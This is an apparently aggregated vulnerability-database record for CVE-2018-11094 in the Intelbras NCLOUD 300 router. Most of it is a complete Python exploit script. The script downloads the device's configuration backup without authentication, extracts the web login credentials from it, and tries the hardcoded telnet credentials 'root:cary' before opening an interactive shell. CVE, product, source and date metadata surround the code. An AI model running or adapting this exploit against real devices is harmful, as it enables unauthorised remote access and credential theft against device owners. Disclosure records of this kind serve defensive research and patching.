ID
VAR-E-201805-0057
CVE
cve_id: | CVE-2018-11094 | Trust: 1.5 |
EDB ID
44637
TITLE
Intelbras NCLOUD 300 1.0 - Authentication bypass - Hardware webapps Exploit
Trust: 0.6
DESCRIPTION
Intelbras NCLOUD 300 1.0 - Authentication bypass. CVE-2018-11094 . webapps exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | intelbras | model: | ncloud | scope: | eq | version: | 3001.0 | Trust: 1.6 |
vendor: | intelbras | model: | ncloud authentication | scope: | eq | version: | 3001.0 | Trust: 0.5 |
EXPLOIT
# coding: utf-8
# Exploit Title: Intelbras NCloud Authentication bypass
# Date: 16/05/2018
# Exploit Author: Pedro Aguiar - pedro.aguiar@kryptus.com
# Vendor Homepage: http://www.intelbras.com.br/
# Software Link: http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/roteadores/ncloud
# Version: 1.0
# Tested on: Linux
# CVE : CVE-2018-11094
# Description: As described here: https://blog.kos-lab.com/Hello-World/ the Ncloud 300 device does not properly
# enforce authentication, allowing an attacker to remotely download the configurations backup ('/cgi-bin/ExportSettings.sh').
# The configurations backup file contains the web interface username and password.
# Also, there are hardcoded credentials in the telnet service (root:cary), in cases where root user does not exist,
# it was replaced by the web interface credentials. This exploit downloads the backup file and tries to use the credentials
# to log into the device using telnet.
import sys
import requests
import telnetlib
import re
def help():
print 'Usage: '
print 'python exploit.py http://192.168.0.1'
def pop_shell(host, user, password):
if(user == "root"):
print '[+] Trying default credentials: root:cary'
else:
print '[+] Trying credentials obtained from /cgi-bin/ExportSettings.sh'
with open('NCLOUD_config.dat', "r") as f:
content = f.read()
user = content.split("Login=")[1].split("\n")[0]
password = content.split("Password=")[1].split("\n")[0]
#print 'User: '+ user
#print 'Password: '+ password
f.close()
try:
ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', host)[0]
tn = telnetlib.Telnet(ip, 23, timeout=10)
tn.expect(["WORKGROUP login:"], 5)
tn.write(user + "\r\n")
tn.expect(["Password:"], 5)
tn.write(password + "\r\n")
i = tn.expect(["Login incorrect"], 5)
if i[0] != -1:
raise ValueError('[-] Wrong credential')
tn.write("cat /proc/cpuinfo\r\n")
tn.interact()
tn.close()
except Exception as e:
print e
if(user == "root"):
pop_shell(host, 'try', 'again')
def exploit(host):
print '[*] Connecting to %s' %host
path = '/cgi-bin/ExportSettings.sh'
payload = 'Export=Salvar'
response = requests.post(host + path, data=payload)
response.raise_for_status()
if(response.status_code == 200 and "Login=" in response.text):
print '[+] Config download was successful'
print '[+] Saving backup file to NCLOUD_config.dat'
with open('NCLOUD_config.dat', "w") as f:
f.write(response.text)
f.close()
pop_shell(host, "root", "cary")
def main():
if len(sys.argv) < 2 or not sys.argv[1].startswith('http://'):
help()
return
host = sys.argv[1]
exploit(host)
if __name__ == '__main__':
main()
Trust: 1.0
EXPLOIT LANGUAGE
py
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Authentication bypass
Trust: 1.6
TAGS
tag: | exploit | Trust: 0.5 |
tag: | bypass | Trust: 0.5 |
CREDITS
Pedro Aguiar
Trust: 0.6
EXTERNAL IDS
db: | EXPLOIT-DB | id: | 44637 | Trust: 1.6 |
db: | NVD | id: | CVE-2018-11094 | Trust: 1.5 |
db: | EDBNET | id: | 97790 | Trust: 0.6 |
db: | PACKETSTORM | id: | 147682 | Trust: 0.5 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2018-11094 | Trust: 1.5 |
url: | https://www.exploit-db.com/exploits/44637/ | Trust: 0.6 |
SOURCES
db: | PACKETSTORM | id: | 147682 |
db: | EXPLOIT-DB | id: | 44637 |
db: | EDBNET | id: | 97790 |
LAST UPDATE DATE
2022-07-27T09:18:19.067000+00:00
SOURCES RELEASE DATE
db: | PACKETSTORM | id: | 147682 | date: | 2018-05-17T20:25:25 |
db: | EXPLOIT-DB | id: | 44637 | date: | 2018-05-17T00:00:00 |
db: | EDBNET | id: | 97790 | date: | 2018-05-21T00:00:00 |